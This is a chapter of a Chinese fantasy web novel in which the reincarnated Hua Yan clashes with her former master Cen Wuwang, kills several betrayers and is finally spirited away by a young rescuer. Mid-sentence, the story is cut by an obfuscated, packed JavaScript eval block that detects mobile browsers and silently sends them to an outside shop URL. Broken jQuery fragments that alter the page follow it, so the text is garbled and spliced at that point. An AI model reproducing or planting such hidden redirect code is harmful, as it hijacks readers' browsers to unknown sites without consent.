那人一身红袍暗金纹衣裳,腰间束着炫黑腰封,墨发半束而起,发髻上只配着一直血红发簪,是一支盛开的彼岸花,与衰败的黄昏日光交相辉映,柔美旖旎之色却被他眼底杀意磋磨得不剩半分。
来者不正是她上辈子的师父,又与她恩断义绝的岑无妄!
“我说她今日废话那么多,左一个消息右一个狠话,原来是为你们转移视线。”
花焰听着岑无妄嘲讽的声音,已然适应的新身体,此刻又无法动弹。
谁让她上辈子亏欠,如今重遇,旧怨涌上心头,打翻成一地苦酒,烧得她满心荒凉。
老者见到岑无妄来,反而眼睛放光,一把撞开站在原地,呆愣无措的花焰,连滚带爬逃离他的面前,连忙磕了好几个响头。
“关主救命!是这女人、这女人要来无为关作乱行窃,还胡言乱语要说自己是什么花焰要蒙骗于您!我们心中敬重关主,虽身为阴阳师,可也在拼死拦她啊!这才被她伤成这副模样,天地可鉴!关主定要惩治有心之人,不能让她祸害了无为关,侮辱了花焰大人!”
断手二人疼得神志不清,但跟死亡比起来,他们也知道如何选择。连忙学着老者的模样,匡匡给花焰丢了几口大锅。
花焰哪有心情管什么黑不黑锅。她上辈子得罪岑无妄的,可比几口黑锅要命多了。
背弃师门,恩断义绝,欺师灭祖......
花焰越回忆越心慌,最后竟然苦笑出声来。
完蛋了,真的完蛋了。今天就是死在这里,也不能让岑无妄认出我啊......
“可是说完了?”岑无妄对老者几人的告状不甚在意,显然是准备平等地杀掉每一个人。
老者见岑无妄油盐不进,眼珠一转猛然想到什么,仰头更加谄媚道:“不不不!关主,我要告发!!我要告发这女的不仅欲意行窃,更不知用什么下作的手段,还拿到了花焰的法器念珠,现在念珠就藏在她怀里!!真的是她一个人贪心,我们都是无辜的!
不出所料,岑无妄听到“念珠”之后,错愕一闪而过,很快冷眼杀到花焰身上,那几个人见状不由松了口气,暗地里交换眼色,窃喜他们总算能逃过一命。
花焰心中破骂他们几句,捂着胸口的念珠,勉强笑道:“不就是一串念珠而已,关主大人坐拥无为关,多少人用世间稀罕玩意来供奉关主,也不见你动动眼皮。”
岑无妄冷眼看她如死人,漠然道:“你话说完了?”
“还是剩了几句的。”花焰幽幽退了两步,道:“念珠有灵,若非自愿我也带不走它们,行窃二字我是远不敢当的。本来觉得我与它们有缘,不过转头看见关主,便知什么叫有缘无分了!关主想要念珠我也只好拱手相让,那我就不打扰你们叙旧了,先告辞一步!”花焰纵身一跃,凌至半空,散开的念珠铺天盖地飞到岑无妄面前,形成一道阻止岑无妄追来的网。
岑无妄隔着念珠网看到花焰身影变小,双眼微眯:“你的手可不干净,碰了它们,也得以死谢罪了。”
岑无妄眼神一闪,数不清的红鳞如花瓣在他身后相互缠绕旋转,形成一阵玄红风暴,遮天盖月,四周树木被狂风压得弯腰,岑无妄的青丝衣摆在空中翻涌狂舞,他眼睛紧紧盯着花焰的方向,只吐了个“去”字,旋风带着吞没山海的气势,追着花焰席卷而去。
花焰见曾经熟悉的红鳞转眼化身恶鬼紧追,缠得她束手无策,只好皱眉应付,心道岑无妄这个小心眼,想要的东西都给他了,何必还来纠缠不休,还是一如既往的棘手难搞!
花焰被红鳞逼得从空中又落回地面,可脚才碰地,几道杀意沉重的剑气藏在飞沙乱石的旋风中,找准时机冲向花焰的几处死穴。花焰无从躲闪,只要抬手接下,袖子被震得破烂不堪,胳膊也传来一阵剧痛,显然里面的骨头也断了。
“我正憋着满肚子怨气,你们倒是会挑时间惹我。”花焰知道是谁在暗中使坏,扫到正悄悄准备跑路的三人身上,冷笑道:“以为我自身难保,就拿你们无可奈何了?这时候还敢给我使绊子,不跟你们好好清算总账,真当我活了两辈子的脾气,是拿来开玩笑的。”
花焰侧身躲开岑无妄的视线,换出一颗念珠弹到风暴正心,转眼间风暴逆转,直直朝着那三人的所在之处飞去。
老者站在三者最前,眼见风暴袭来自己无处可躲,慌张地将一道符咒丢出,将重伤难防身的二人转移到自己的面前,只见他们的肉身瞬间炸开化成血雾,细密的血珠连成红色绸布,摇曳着血腥残忍之景。
老者咽了咽口水,抚心安慰道:“这女的下手可真狠啊,还好老身反应迅速,要不就命丧当下了!”
“你很喜欢拉同伴给你垫背嘛。”花焰鬼魅一般闪现到老者眼前,身周红色鳞片如花瓣扬天飞舞,将他和花焰圈在方寸之地中,花焰握住自己的小臂,一出寸劲便将断了的胳膊接上,脸上依然微微笑着,仿佛一位要引他亡魂入地狱的摆渡魔女。
花焰道:“既然你们都是一丘之貉,你可别忘了下去同他们作伴呐!”
老者反应过来时,一股无形的力量已紧紧缠上他的脖子,将他提到半空之中,任他如何挣扎都无济于事。
花焰五指收拢,老者双眼瞬间充血,嘴角冒着血沫,直到身体里传来骨头断裂的声音,花焰才松手将他摔在地上,毫无感情地看着瘫在地上如烂泥一般的死尸。
“你能躲过红莲已是不易,还抽空行凶,倒是我比想得更要目中无人。”岑无妄声音近在咫尺,却冷得像地底深处钻了出来。
花焰瞬间背脊发凉,知此人已到了自己身后,退路被封,无处可逃,花焰只好故作正色,转身直面他道:“那又如何?”
天夜已深,岑无妄的脸笼罩在蒙蒙的月色之下,眼底寒光凌冽,花焰下意识躲闪着他的视线,继续扮演着初见的陌生人:“天下人皆知‘在无为关作乱杀人者死’,是这群家伙,他们伤我在先,关主既然没有为我出头做主,自然也管不到我如何报复回去,冤冤相报的道理想来关主最是明白,正如花焰背弃与你,你又抢了她的尸身,其中不也是为了情债愁怨而已吗。”
岑无妄突然笑了一声,黑夜中笑声刺骨渗人:“你谁允许你提她名字的?”
红鳞不知何时又到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207146|150991||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的身后,如同一条红色巨蟒抬着身子,已死死盯住花焰,岑无妄眼中肆虐着癫狂,傲睨道:“听闻你们阴阳家能窥视命数,你来时没有给自己算上一算吗?既然选上一条死路,结果种种,都是你该受的。”他高傲地看着花焰狼狈的躲避着攻击,如同野兽在戏弄手下的猎物。岑无妄看着手里的念珠,转身时淡漠道:“既然卫立心带着你们阴阳家找上门了,看在你帮我拿回念珠的份上,我会让这群人全部给你陪葬的,让你黄泉路热闹一下。”
花焰本想躲他远些,听到这话立刻疾声道:“岑无妄!”
花焰的肩膀已被叫红莲的鳞片穿过一个黑洞,她看着岑无妄离去的背影,另一只手结印成结界挡着攻击,一面慌乱解释:“杀她究竟对你报仇有什么用!?我实在想不明白,你所谓的血海深仇,本就不是卫立心该受的!是,当初是她的先辈害死了你的师父,可那么多年过去了,几代人传到她那里,她的血都融不进杀人凶手的尸骨里了,那这血仇为何要让她来承担?我,不,花焰!花焰她是受卫立心教养大的,这份恩情你总不能让她弃置不顾,非要来助长你的怨气,一起去屠她的城吧!”
岑无妄脚步一顿,红莲的攻势戛然而止,同时掀起一场飓风,二人长发衣袍在空中飞扬,混沌天地中,两只无处可去的孤蝶偏在血雨中相遇。
“你懂什么!?”岑无妄转头时神色阴沉得骇人,地面结上冰霜,绵延数里,初夏在眨眼间成了寒冬:“你究竟是谁?”
“我?”花焰一愣,才发现自己方才口不择言,说得有些过多了。可话都已经说出口,覆水难收,花焰只能想着如何找补。
“你为什么会知道这些?谁告诉你的!”岑无妄变得双眼猩红,黑夜下有翻涌着无数压抑的黑云,闷雷在云雾住伺机而动,地上的人也感觉到了狂风暴雨即将到来的疯狂。
“我......”花焰刚复活的身体本就是个半残,眼下又大大小小的伤口无数,实在脑子也有几分不清晰,半晌过去,依然一句解释的话也说不出来。
“不说?好!”岑无妄眸子带着暴戾,冷漠道:“我没有多少耐心。你若是想不起来,我不介意帮帮你。”
花焰苦笑一声,道:“那你真是乐于助人......可我如今又不愿骗你,你好人做到底,能不能别为难我了。”
岑无妄眉头下压,意外地没有其他动作,只是死死盯着花焰,眼光炽热得几乎将她穿透。
或许因为二人皆心烦意乱,各有所思,竟谁也没有注意到天上黑云翻涌有几分古怪。
顷刻之间,暴雨倾盆而下,岑无妄掀起的飓风将雨水吹成一道白幕,堆积在半空中阻碍了他们的视线。
风生水起间,花焰察觉到有人飞速地靠近自己,却没有任何杀意,将一道咒符蓦然间贴在自己额头之上,道:“快逃!”
斗转星移,花焰从山脚平原到了山林之中,面前已经不是岑无妄,而是个大眼睛的小姑娘,估计也就十几岁的年纪,眼底是没有沾染世俗的单纯,那双好看的双眼,正担忧地看着自己。
“道君,莫泽前来报恩了。”小姑娘道。